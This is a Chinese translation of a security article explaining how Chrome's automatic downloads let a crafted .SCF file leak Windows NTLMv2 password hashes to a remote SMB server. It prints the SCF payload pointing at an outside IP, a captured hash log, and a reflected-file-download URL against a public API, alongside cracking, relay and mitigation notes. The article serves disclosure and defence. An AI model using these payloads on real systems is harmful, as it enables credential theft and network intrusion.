標籤:

利用Chrome瀏覽器「自動下載」功能竊取Windows登錄密碼

在過去的十幾年中,除了IE以及Edge瀏覽器之外,其餘還沒有公開針對SMB認證攻擊的方法。這篇文章介紹的攻擊方法是通過全世界最受歡迎的瀏覽器Google Chrome中的默認配置進行Windows登錄密碼盜取。影響範圍為Windows所有版本的Google Chrome。

漏洞利用

在默認設置環境中,Chrome會自動下載認為安全的文件,不再詢問用戶其存放位置。從安全的角度來看,這一功能來看好像不是那麼安全,但是任何存在惡意代碼的文件都是需要用戶手動去打開才能造成威脅。如果有下載的文件能夠自動打開呢?有沒有一種文件類型能夠做到呢?

windows資源管理器命令文件(.SCF)是一種鮮為人知的文件類型,自從Windows 98之後才開始使用。大多數Windows用戶可以在Windows 98/ME/NT/2000/XP中看到,它是用於顯示桌面的快捷方式的。從本質上來講,它是一個txt文本文件,其中寫入要執行的命令,當然命令只能是運行資源管理器、切換桌面或者打開圖標文件所在位置這幾個。舉個例子,執行顯示桌面命令,如下所示:

[Shell]nCommand=2nIconFile=explorer.exe,3n[Taskbar]nCommand=ToggleDesktopn

就像Windows快捷方式LINK文件一樣,當運行資源管理器顯示文件時,圖標會自動載入。在已知的攻擊方法中,我們可以將圖標位置設置為遠程SMB伺服器,然後我們就可以像文件共享一樣,自動嘗試登錄到遠程伺服器。但是LINK文件以及SCF文件在攻擊方法中有什麼不同呢?在Chrome中由於MS10-046會將LINK文件的後綴名強制轉換為.download,但是對於SCF文件不做任何處理。

通過在SCF文件中兩行代碼就可以讓windows嘗試連接到遠程SMB伺服器,如下所示:

[Shell]nIconFile=170.170.170.170iconn

將這個文件下載下來,一旦打開資源管理器去查看文件、刪除文件、或者將這個文件與其他文件一同操作,都會觸發這個文件。因為Windows資源管理器自動載入圖標,所以無需雙擊運行這個文件就可以自動載入。

攻擊者啟動的SMB伺服器可以捕捉到受害者的賬戶以及密碼NTLMv2的hash,以便於離線破解。即使不知道明文密碼也可以使用hash連接到其他同樣驗證方式的Windows服務,比如 Microsoft Exchange服務。抓取到的數據包如下所示:

[*] SMB Captured - 2017-05-15 13:10:44 +0200nNTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182nUSER:Bosko DOMAIN:Master OS: LM:nLMHASH:DisablednLM_CLIENT_CHALLENGE:DisablednNTHASH:98daf39c3a253bbe4a289e7a746d4b24 NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000002000000000000 0000000000nBosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06f cdd201ccf26d91cd9e326e00000000020000000000000000000000n

上方例子展示了抓取到的受害者的用戶名,以及NTLMv2密碼hash值。

這種攻擊還有一種好處就是SCF文件在資源管理器中都是顯示無後綴的。因此,命名為picture.jpg.scf文件會在資源管理器中顯示為picture.jpg。這就大大增加了攻擊成功的可能性。

內容拓展

密碼泄漏危害

對於AD域中的用戶,密碼泄漏會產生各種各樣的影響。輕則會使內部網路違規升級,重則導致啟用外部NTLM訪問,利用密碼重用碰撞,導致整個域淪陷。

對於使用微軟賬戶的Winodws8/10個人用戶,而不是使用的本地的賬戶,這一密碼泄漏會影響你所有的微軟服務,比如:OneDrive、Outlook.com、Office365、Office Online、Skype、Xbox Live等等。和域中相同,泄漏的密碼可能產生碰撞,登錄到不屬於微軟服務的網站。

關於密碼破解的可行性,在最近幾年裡基於GPU密碼破解大大提高了成功的可能性。單個英偉達GTX 1080顯卡破解NetNTLMv2哈希的速度為1600MH/s,也就是每秒16億條。對於一個八個字元長度的密碼,4個這樣GPU的顯卡可以在不到一天時間內遍歷整個鍵盤內的字元(字母大小寫+數字+特殊字元)。在過去幾年中,由於很多漏洞導致了數百萬條密碼泄漏,所以可以嘗試基於字典的破解。

對於已經明確啟用了與NTLMv1向後兼容的Windows XP系統情況更加糟糕。在這種情況下,會強制客戶端使用較弱的hash或者協議(比如NTLMv1甚至LM協議),進行降級攻擊。相對於破解NTLMv2,這就會使攻擊者花費很少的時間對密碼進行破解。在LM情況下,通常在幾秒內查詢彩虹表就可以破解出密碼。

SMB中繼攻擊

SMB中繼攻擊是指在無需破解密碼的情況下,可以將NTLM作為登錄憑證遠程訪問Microsoft Exchange等服務。這就會允許攻擊者進入到受害者系統,查看數據。在黑帽大會上Jonathan Brossard證明了這一攻擊方法。

在域控制器暴露在外網的情況下,攻擊者甚至可以使用盜取的憑據中繼登錄到域控制器中,進而進行內網漫遊。

SCF防病毒處理

在瀏覽器無法識別以及判別出文件是危險文件時,我們就需要一個解決方案去解決這一安全問題。我們對市場上多個殺毒軟體進行了測試,確定殺毒軟體是否可以識別出當前下載的文件是危險文件。

對所有的殺毒軟體進行的測試都沒有對這個文件報毒,希望殺毒軟體能夠儘快更新。考慮到SCF文件需要遠程調用,所以只需要通過localfile檢查這一SCF文件即可。

另外一種攻擊方法

可以從通過社會工程學誘導受害者訪問攻擊者網站,當然也可以在受害者訪問的網站中使用重定向和跨站腳本漏洞進行文件下載。不過對於這種攻擊,我想使用一個比較簡單以及比較隱蔽的攻擊方法。

反射型文件下載

攻擊概念(可參考這篇文章)由Oren Hafif提出,當特定用戶輸入會體現在網站的響應中,並且會通過瀏覽器進行下載時,這時候會產生反射型文件下載漏洞。它一開始被用於誘導用戶下載,並且執行惡意代碼。

由於SCF格式特別簡單,上述代碼一樣,我們只需兩行就可以完成攻擊。因此這種攻擊完全適合於反射型文件下載漏洞。

反射型文件下載往往發生在RESTful API介面處,因為他們通常允許URL映射,以及在URL中設置文件拓展名。不過Chrome不會下載很明顯的API響應內容,比如href=…這樣的就不會下載。但是還是有例外的,chrome使用的是MIME-sniffing類型,如果在響應中存在一個不可列印字元,chrome會自動下載這個文件。除非nosniff選項是開啟的。

在world bank的api中演示的url如下:

api.worldbank.org/v2/co[Shell]%0AIconFile=170.170.170.170test%0Alol=%0B&format=jsonp

由於不可列印字元」%0B」,chrome會自動下載這個url響應作為iwantyouhash.scf文件。當打開包含這一文件的文件夾時,windows會嘗試連接SMB伺服器進行身份驗證,導致hash泄漏。

建議

禁用Chrome瀏覽器的自動下載功能。進行如下更改:設置 – >顯示高級設置 – >在下載前檢查詢問要保存每個文件的位置。這樣下載每個文件都會經過用戶詢問。

因為SCF文件不能被查殺,仍然可以被攻擊,所以需要採取一定的措施避免受到攻擊,比如設置防火牆規則,主機防護級別設置為高,採取SMB數據包保護。

結論

目前,攻擊者只能夠通過誘導受害者對url進行點擊,然後下載SCF文件,以便盜取Windows hash。即使當前用戶不是管理員許可權,還是會造成很大的危害,因為攻擊者可以進入到目標網路中,進而提升許可權,進一步獲取對網路的控制。

本文翻譯自Stealing Windows credentials using Google Chrome - Help Net Security,如若轉載,請註明原文地址:t利用Chrome瀏覽器「自動下載」功能竊取Windows登錄密碼

推薦閱讀:

劫持數字簽名"洗白"惡意程序
ZoomEye 的網站指紋是什麼概念,如何應用?
有什麼逆向程序流程的技巧?
URL編碼

TAG:信息安全 |